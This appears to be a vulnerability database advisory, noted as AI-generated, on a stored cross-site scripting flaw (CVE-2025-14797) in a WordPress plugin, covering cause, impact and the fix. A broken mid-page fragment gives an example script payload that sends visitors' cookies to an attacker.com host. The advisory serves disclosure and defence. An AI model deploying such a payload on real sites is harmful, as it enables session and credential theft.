
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-14797 is a Stored Cross-Site Scripting (XSS) vulnerability in the Same Category Posts plugin for WordPress, affecting all versions up to and including 1.1.19. The flaw exists in the widget title placeholder functionality and was disclosed on January 24, 2026, with Wordfence credited as the assigner. It carries a CVSS v3.1 base score of 5.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin incorrectly applies htmlspecialchars_decode() to taxonomy term names before rendering them in the widget title placeholder, which reverses the HTML entity encoding that WordPress applies by default for output safety. This allows an authenticated attacker with Author-level privileges or higher to craft a malicious taxonomy term name containing JavaScript, which is then decoded and rendered as executable script in any page displaying the widget. The vulnerable code paths are documented in the plugin source at lines 639, 665, and 707 of same-category-posts.php version 1.1.19 (Wordfence, WordPress Trac).
Successful exploitation enables a stored XSS attack where malicious JavaScript is persistently injected into WordPress pages and executes in the browsers of any user who visits an affected page. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement or redirection to malicious content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader browser context of site visitors (Wordfence, Red Hat CVE).
No public proof-of-concept exploit code or in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.032%, indicating a low probability of near-term exploitation. Exploitation requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).
Test<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).htmlspecialchars_decode() on the term name, reversing WordPress's entity encoding.wp_terms and wp_termmeta tables) containing HTML/JavaScript entities or script tags.WordPress site administrators should update the Same Category Posts plugin to version 1.1.20 or later, which addresses the improper use of htmlspecialchars_decode() on taxonomy term names. The fix is documented in the plugin's changeset (WordPress Trac Changeset). As a temporary workaround, restrict Author-level user permissions or disable the Same Category Posts widget until the plugin is updated. Regularly audit taxonomy terms for unexpected HTML or script content (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."